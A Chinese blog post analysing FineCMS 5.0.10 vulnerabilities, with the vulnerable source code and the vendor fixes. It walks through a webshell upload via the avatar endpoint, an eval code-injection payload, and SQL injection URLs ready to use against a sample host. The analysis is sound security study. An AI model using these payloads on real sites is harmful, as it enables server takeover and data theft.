今天是一篇关于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,主要内容是介绍漏洞修补前和修补后的分析过程,帮助大家快速掌握该技能。

注:篇幅较长,阅读用时约7分钟。

任意文件上传漏洞

1、漏洞复现

用十六进制编辑器写一个包含一句话木马的图片,去网站注册一个账号,然后到上传头像的地方。

抓包,修改文件后缀名为.php并发包。

可以看到文件已经上传到/uploadfile/member/用户ID/0x0.php

2、漏洞分析

文件:

finecms/dayrui/controllers/member/Account.php 177~244行

/**
* 上传头像处理
* 传入头像压缩包,解压到指定文件夹后删除非图片文件
*/
public function upload() {
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:s*image/(w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片不存在'));
}
// 上传图片到服务器
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
}
exit('1');
}

在版本5.0.8中也曾存在问题,官方采用了白名单的思想进行修复,代码如下:

 if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
exit(dr_json(0, '目录权限不足'));
}
...
$c = 0;
if ($fp = @opendir($dir)) {
while (FALSE !== ($file = readdir($fp))) {
$ext = substr(strrchr($file, '.'), 1);
if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
if (copy($dir.$file, $my.$file)) {
$c++;
}
}
}
closedir($fp);
}
if (!$c) {
exit(dr_json(0, fc_lang('未找到目录中的图片')));
}

任意代码执行漏洞

1、漏洞复现

auth下面的分析过程中会讲解到如何获取。

浏览器输入:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271

2、漏洞分析

这个漏洞的文件在:

/finecms/dayrui/controllers/Api.php的data2( )

public function data2() {
$data = array();
// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
// 解析数据
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {
// list数据查询
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 缓存数据
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}
// 接收参数
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
// 页面输出
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
// 自定义返回名称
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
// 自定义返回名称
echo $this->callback_json($data);
}
exit;
}

可以看到开头这里验证了认证码:

// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {

授权码在/config/system.php

可以看到SYS_KEY是固定的,我们可以在Cookies找到:

/finecms/dayrui/config/config.php

用浏览器查看Cookies可以看到KEY,但是验证用MD5,所以我们需要对KEY进行处理。

直接看到这一段,调用了Template对象里面的list_tag函数:

if (!$data) {
// list数据查询
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 缓存数据
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}

我们到finecms/dayrui/libraries/Template.php看list_tag函数的代码,这里把

param=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271的内容分为两个数组$var、$val,这两个数组的内容分别为:

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

$cache=_cache_var是返回会员的信息。

重点的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);

再看这一段,因为swtich选中的是cache,所以就不再进行下面的分析了。

$pos = strpos($param['name'], '.');这句是为下面的substr函数做准备,为了分离出的内容为:

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
// action
switch ($system['action']) {
case 'cache': // 系统缓存数据
if (!isset($param['name'])) {
return $this->_return($system['return'], 'name参数不存在');
}
$pos = strpos($param['name'], '.');
if ($pos !== FALSE) {
$_name = substr($param['name'], 0, $pos);
$_param = substr($param['name'], $pos + 1);
} else {
$_name = $param['name'];
$_param = NULL;
}
$cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
if (!$cache) {
return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
}
if ($_param) {
$data = array();
@evai('$data=$cache'.$this->_get_var($_param).';');
if (!$data) {
return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
}
} else {
$data = $cache;
}
return $this->_return($system['return'], $data, '');
break;

跟踪get_var函数,在这里我们先把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是:$string=['a']

那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。

payload为:1'];phpinfo();$a=['1,那么返回的$string的内容:

$string=['1'];phpinfo();$a=['1']

public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/[(.+)]/U', '['\1']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '''.$var.''';
}
$string.= ']';
}
return $string;
}

修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2( )删除了。

 public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$var = dr_safe_replace($var);
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/[(.+)]/U', '['\1']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '''.$var.''';
}
$string.= ']';
}
return $string;
}

dr_safe_replace( )

function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}

任意SQL语句执行1

1、漏洞复现

浏览器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version( );%27

2、漏洞分析

这里就不用debug模式去跟进了,如果有小伙伴对CI框架的数据库操作不熟悉的可以查阅官方文档:

http://codeigniter.org.cn/user_guide/database/index.html

问题一样出在:

finecms/dayrui/controllers/Api.php中的data2( ),

可以直接去看:

finecms/dayrui/libraries/Template.php里面的list_tag( )函数。

这里想说一下就是preg_match这个函数的作用,匹配过后sql是一个数组:

array(2) {
[0]=>
string(23) "sql='select version();'"
[1]=>
string(17) "select version();"
}

这里判断了开头的位置是否只使用了select:

 if (stripos($sql, 'SELECT') !== 0) {
return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600。

 $data = $this->_query($sql, $system['site'], $system['cache']);

继续跟进_query( )函数

public function _query($sql, $site, $cache, $all = TRUE) {
echo $this->ci->site[$site];
// 数据库对象
$db = $site ? $this->ci->site[$site] : $this->ci->db;
$cname = md5($sql.dr_now_url());
// 缓存存在时读取缓存文件
if ($cache && $data = $this->ci->get_cache_data($cname)) {
return $data;
}
// 执行SQL
$db->db_debug = FALSE;
$query = $db->query($sql);
if (!$query) {
return 'SQL查询解析不正确:'.$sql;
}
// 查询结果
$data = $all ? $query->result_array() : $query->row_array();
// 开启缓存时,重新存储缓存数据
$cache && $this->ci->set_cache_data($cname, $data, $cache);
$db->db_debug = TRUE;
return $data;
}

没有对函数进行任何过滤$query = $db->query($sql);,直接带入了我们的语句。

官方的修复方法:删除了data2( )函数。

任意SQL语句执行2

1、漏洞复现

浏览器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user( )),0x7e),1)))a

2、漏洞分析

文件在:

finecms/dayrui/controllers/member/Api.php的checktitle( )函数:

 public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
echo $num;
$num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}

其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到:

http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法

还有一个就是SITE_ID变量,它是指:

站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理。

其他

还有一个远程命令执行漏洞没能复现,是在api的html( )函数,说是可以用&来突破,但是evai只能用;来结束语句的结束。

function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}

以上是今天的全部内容,大家看懂了吗?

技能篇丨FineCMS 5.0.10 多个漏洞详细分析的更多相关文章

  1. FineCMS 5.0.10 多个 漏洞详细分析过程

    0x01 前言 已经一个月没有写文章了,最近发生了很多事情,水文一篇.今天的这个CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,从修补漏洞前和修补后的两方面去分析. 文中的evai是特意 ...

  2. 10.hibernate缓存机制详细分析(转自xiaoluo501395377)

    hibernate缓存机制详细分析   在本篇随笔里将会分析一下hibernate的缓存机制,包括一级缓存(session级别).二级缓存(sessionFactory级别)以及查询缓存,当然还要讨论 ...

  3. C#实用技能篇

    Redis配置文件详解 如果不指定配置文件,redis也可以启动,此时,redis使用默认的内置配置.不过在正式环境,常常通过配置文件[通常叫redis.conf]来配置redis. redis.co ...

  4. Android UI开发第四十一篇——墨迹天气3.0引导界面及动画实现

    周末升级了墨迹天气,看着引导界面做的不错,模仿一下,可能与原作者的代码实现不一样,但是实现的效果还是差不多的.先分享一篇以前的文章,android动画的基础知识,<Android UI开发第十二 ...

  5. [055] SSL 3.0曝出Poodle漏洞的解决方式-----开发人员篇

    SSL 3.0曝出高危漏洞 2014年10月15日,Google研究人员发布SSL 3.0协议存在一个非常严重的漏洞,该漏洞可被黑客用于截取浏览器与server之间进行传输的加密数据,如网银账号.邮箱 ...

  6. 技能提升丨Seacms 8.7版本SQL注入分析

    有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...

  7. CentOS 7安装Redis4.0.10

    cd /usr/local/src && wget http://download.redis.io/releases/redis-4.0.10.tar.gz && t ...

  8. 基于Web的Kafka管理器工具之Kafka-manager的编译部署详细安装 (支持kafka0.8、0.9和0.10以后版本)(图文详解)(默认端口或任意自定义端口)

    不多说,直接上干货! 至于为什么,要写这篇博客以及安装Kafka-manager? 问题详情 无奈于,在kafka里没有一个较好自带的web ui.启动后无法观看,并且不友好.所以,需安装一个第三方的 ...

  9. 大数据篇:DolphinScheduler-1.2.0.release安装部署

    大数据篇:DolphinScheduler-1.2.0.release安装部署 1 配置jdk #查看命令 rpm -qa | grep java #删除命令 rpm -e --nodeps xxx ...

随机推荐

  1. linux守护进程start-stop-daemon启动服务

    start-stop-daemon #! /bin/sh PATH=/sbin:/bin . /lib/lsb/init-functions do_start () { log_action_msg ...

  2. MySQL数据库(三)锁机制

    MyISAM默认使用表级锁,不支持行级锁 InnoDB默认使用行级锁,也支持表级锁 表级锁:开销小,加锁快:不会出现死锁:锁定粒度大,发生锁冲突的概率最高,并发度最低. 行级锁:开销大,加锁慢:会出现 ...

  3. 删除带外键的表【foreign key constraint fails】报错

    title: 删除带外键的表[foreign key constraint fails]报错 date: 2018-08-02 21:59:06 tags: 数据库 --- 遥想当时正在学hibern ...

  4. Linux—主机扫描工具(Nmap)

    Nmap包含五项基本功能: 主机探测 (Host Discovery) 端口扫描 (Port Scanning) 版本检测 (Version Detection) 操作系统侦测 (Operating ...

  5. [PHP] 近期接手現有的企邮前端框架业务所遇困难

    1.邮箱前端有三大产品线,包括免费邮箱,VIP邮箱,企业邮箱,使用的一套代码,在代码中进行的逻辑判断处理,根据不同的配置进行不同的业务操作.有很多逻辑是各产品线是不同的,需要仔细开发和判断才能不会影响 ...

  6. WebUI自动化测试框架

    基于Python+Selenium+Unittest+Ddt+HTMLReport 框架结构: Business:业务相关公共模块,如登录 Common:业务无关公共模块,如读取文件 PageObje ...

  7. CentOS7 安装Jenkins

    准备工作 首选需要安装JAVA环境  https://www.cnblogs.com/stulzq/p/9286878.html 如果你的系统没有自带git,那么也需要安装一个 yum install ...

  8. for循环结构

    循环结构: 在程序当中总有一些需要反复/重复的执行的代码,假设没有循环结构,那么这段需要重复知心的需要重复执行的代码自然是需要重复编写的,代码无法得到重复使用.所以多数变成语言都是支持循环结构的.将来 ...

  9. 4. Go语言—值类型和引用类型

    一.值类型 1. 定义 ​ 变量直接存储的值,内存通常在栈中分配: var i = 5 -> i-->5 2. 应用 int.float.bool.string.数组.struct 二.引 ...

  10. web-文件包含

    提示 构造payload ?file=flag.php 得到一串字符,那么我们用PHP伪协议尝试一下 构造payload ?file=php://filter/read=convert.base64- ...